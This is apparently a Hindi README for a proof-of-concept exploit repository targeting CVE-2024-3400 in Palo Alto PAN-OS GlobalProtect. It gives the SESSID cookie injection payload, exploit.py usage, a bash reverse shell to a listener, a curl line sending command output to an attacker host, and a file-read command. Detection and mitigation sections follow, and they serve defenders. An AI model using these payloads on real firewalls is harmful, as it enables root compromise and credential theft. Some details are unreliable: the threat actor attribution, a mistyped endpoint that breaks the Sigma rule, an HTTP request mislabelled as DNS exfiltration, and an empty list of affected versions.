CVE-2024-3400: Palo Alto PAN-OS GlobalProtect कमांड इंजेक्शन RCE

CVSS 10.0 CRITICAL | CWE-78: OS कमांड इंजेक्शन | वाइल्ड में बड़े पैमाने पर शोषित

अवलोकन

CVE-2024-3400, Palo Alto Networks PAN-OS GlobalProtect पोर्टल और गेटवे इंटरफेस में एक प्री-ऑथेंटिकेशन कमांड इंजेक्शन भेद्यता है। यह भेद्यता एक बिना प्रमाणीकरण वाले हमलावर को प्रभावित फ़ायरवॉल पर रूट विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति देती है।

• खोजकर्ता: Volexity (अप्रैल 2024)
• आरोपित खतरा अभिनेता: UNC4554 / Midnight Blizzard (रूसी राज्य-प्रायोजित)
• CVE ID: CVE-2024-3400
• CVSS स्कोर: 10.0 (क्रिटिकल)
• CWE: CWE-78 (OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन)
• प्रभाव: PAN-OS फ़ायरवॉल उपकरणों से पूर्ण समझौता, लेटरल मूवमेंट, रैंसमवेयर तैनाती
• स्थिति: सार्वजनिक खुलासे से पहले 0-day के रूप में सक्रिय रूप से शोषित

तकनीकी विवरण

मूल कारण

यह भेद्यता GlobalProtect पोर्टल और गेटवे घटक की सत्र कुकी हैंडलिंग में निहित है। SESSID कुकी को संसाधित करने के लिए ज़िम्मेदार फ़ंक्शन, उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को शेल कमांड में पास करने से पहले ठीक से सैनिटाइज़ करने में विफल रहता है।

विशेष रूप से, एम्बेडेड शेल मेटाकैरेक्टर (बैकटिक्स और वेरिएबल एक्सपैंशन) युक्त एक क्राफ्टेड SESSID कुकी के साथ GlobalProtect पोर्टल एंडपॉइंट (/global-protect/login.esp) पर किया गया एक बिना प्रमाणीकरण वाला HTTP अनुरोध कमांड इंजेक्शन का कारण बनता है।

इंजेक्शन तंत्र

भेद्य कोड पथ निम्नानुसार कार्य करता है:

1. GlobalProtect पोर्टल को /global-protect/login.esp पर एक अनुरोध प्राप्त होता है
2. SESSID कुकी मान बिना सैनिटाइज़ेशन के निकाला जाता है
3. यह मान एक शेल कमांड स्ट्रिंग में इंटरपोलेट किया जाता है
4. कमांड को system() या समान OS कमांड निष्पादन फ़ंक्शन के माध्यम से निष्पादित किया जाता है
5. चूँकि एप्लिकेशन रूट के रूप में चलता है, इंजेक्ट किया गया कमांड पूर्ण सिस्टम विशेषाधिकारों के साथ निष्पादित होता है

पेलोड निर्माण

इंजेक्शन पेलोड SESSID कुकी के भीतर बैकटिक-सीमांकित कमांड का उपयोग करता है:

SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py

पाथ ट्रैवर्सल (/../../../) इच्छित निर्देशिका से बाहर निकल जाता है, और बैकटिक-कोटेड COMMAND भाग शेल को हमलावर के इनपुट को निष्पादित करने के लिए प्रेरित करता है। कमांड परिणामों को एक्सफ़िल्ट्रेट करने के लिए आउटपुट रीडायरेक्शन या रिवर्स शेल तंत्र का उपयोग किया जा सकता है।

प्रभावित संस्करण

नोट: PAN-OS 9.x और पुराने संस्करण प्रभावित नहीं हैं। Cloud NGFW और Prisma Access प्रभावित नहीं हैं।

शोषण

हमला वेक्टर

• नेटवर्क: रिमोट
• प्रमाणीकरण: कोई आवश्यक नहीं
• आवश्यक विशेषाधिकार: कोई नहीं
• उपयोगकर्ता इंटरेक्शन: कोई नहीं
• प्रभाव: गोपनीयता, अखंडता और उपलब्धता से पूर्ण समझौता

देखी गई खतरा अभिनेता गतिविधि

UNC4554 / Midnight Blizzard (APT29) को मार्च 2024 से शुरू होकर CVE-2024-3400 का 0-day के रूप में शोषण करते हुए देखा गया। Volexity ने 12 अप्रैल, 2024 को अपना विश्लेषण प्रकाशित किया। हमले के पैटर्न में शामिल थे:

1. प्रारंभिक पहुँच: एक्सपोज़्ड GlobalProtect पोर्टलों के लिए बड़े पैमाने पर स्कैनिंग
2. कमांड निष्पादन: कुकी इंजेक्शन वेक्टर के माध्यम से कस्टम Python बैकडोर तैनात करना
3. पर्सिस्टेंस: UPSTYLE बैकडोर स्थापित करना, क्रेडेंशियल चोरी, कॉन्फ़िगरेशन निष्कर्षण
4. लेटरल मूवमेंट: आंतरिक नेटवर्क में पैर जमाने के लिए समझौता किए गए फ़ायरवॉल का उपयोग करना
5. डेटा एक्सफ़िल्ट्रेशन: कॉन्फ़िगरेशन फ़ाइलें, VPN क्रेडेंशियल और सत्र टोकन चुराना
6. रैंसमवेयर: प्रारंभिक समझौते के बाद रैंसमवेयर तैनाती की कई घटनाएँ

प्रूफ-ऑफ-कॉन्सेप्ट उपलब्धता

कई सार्वजनिक PoC जारी किए गए हैं। यह रिपॉजिटरी अधिकृत परीक्षण के लिए एक कार्यात्मक एक्सप्लॉइट प्रदान करती है।

पुनरुत्पादन चरण

आवश्यकताएँ

• Python 3.8+
• requests लाइब्रेरी
• लक्ष्य: एक भेद्य GlobalProtect पोर्टल के साथ एक्सपोज़्ड Palo Alto PAN-OS
• केवल अधिकृत पहुँच

सेटअप

pip install requests

बेसिक एक्सप्लॉइट

python exploit.py --target https://vulnerable-firewall.example.com --command "id"

रिवर्स शेल उदाहरण

# Start listener on attacker machine
nc -lvnp 4444

# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
  --command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"

मनमानी फ़ाइल पढ़ना

python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"

प्रूफ-ऑफ-कॉन्सेप्ट (curl)

# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
  'https://target/global-protect/login.esp'

# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
  'https://target/global-protect/login.esp'

PoC स्क्रिप्ट

इस रिपॉजिटरी में exploit.py देखें, जो एक पूर्ण-विशेषताओं वाला Python एक्सप्लॉइट है और निम्न का समर्थन करता है:

• मनमाना कमांड निष्पादन
• वैकल्पिक प्रॉक्सी समर्थन (Burp Suite / mitmproxy)
• SSL सत्यापन नियंत्रण
• टाइमआउट और रीट्राई हैंडलिंग
• प्रतिक्रिया विश्लेषण

पहचान

IOCs

• असामान्य रूप से लंबे या संदिग्ध SESSID कुकी के साथ /global-protect/login.esp पर अनुरोध
• बैकटिक वर्णों के साथ संयुक्त पाथ ट्रैवर्सल अनुक्रम (/../../) युक्त कुकी
• GlobalProtect घटक द्वारा स्पॉन की गई अप्रत्याशित प्रक्रियाएँ
• फ़ायरवॉल से अज्ञात IP पतों पर असामान्य पोर्ट पर आउटबाउंड कनेक्शन
• /opt/panlogs/tmp/device_telemetry/ में .py एक्सटेंशन के साथ लिखी गई फ़ाइलें

सिग्मा नियम (सरलीकृत)

title: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query: "/global-protocol/login.esp"
    cs-cookie|contains:
      - "../"
      - "`"
  condition: selection

शमन

तत्काल कार्रवाई

1. PAN-OS को अपडेट करें ऊपर सूचीबद्ध फिक्स्ड संस्करणों में
2. यदि तत्काल पैचिंग संभव नहीं है, तो निम्न में से एक वर्कअराउंड लागू करें:
   • डिवाइस टेलीमेट्री अक्षम करें: set deviceconfig system telemetry disable yes (रीबूट की आवश्यकता के बिना भेद्य कोड पथ को अवरुद्ध करता है)
   • GlobalProtect पोर्टल/गेटवे एक्सेस नियंत्रण: विश्वसनीय स्रोत IP तक पहुँच प्रतिबंधित करें
3. समझौते के लिए स्कैन करें: /opt/panlogs/tmp/device_telemetry/ में अनधिकृत फ़ाइलों की जाँच करें
4. लॉग की समीक्षा करें: असामान्य SESSID कुकी मानों के लिए GlobalProtect लॉगिन लॉग का ऑडिट करें

स्थायी समाधान

Palo Alto Networks द्वारा प्रदान किया गया हॉटफिक्स लागू करें। फिक्स शेल कमांड निर्माण से पहले कुकी इनपुट को ठीक से सैनिटाइज़ करता है।

समझौता आकलन

यदि आपको शोषण का संदेह है:

1. प्रभावित फ़ायरवॉल के फोरेंसिक इमेज एकत्र करें
2. सभी कॉन्फ़िगरेशन परिवर्तनों का ऑडिट करें (अंतिम-संशोधित टाइमस्टैम्प)
3. चल रही प्रक्रियाओं और क्रॉन जॉब की समीक्षा करें
4. अनधिकृत SSH कुंजियों और उपयोगकर्ता खातों की जाँच करें
5. सभी VPN क्रेडेंशियल और साझा रहस्यों को रोटेट करें
6. C2 संचार पैटर्न के लिए नेटवर्क ट्रैफ़िक का निरीक्षण करें

संदर्भ

अस्वीकरण

यह रिपॉजिटरी केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान की गई है। इस भेद्यता का अनधिकृत शोषण अवैध है। लेखक इस जानकारी के दुरुपयोग के लिए ज़िम्मेदार नहीं हैं। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा सुनिश्चित करें कि आपके पास स्पष्ट लिखित अनुमति है।

लाइसेंस

MIT License - यह सामग्री रक्षात्मक सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान की गई है।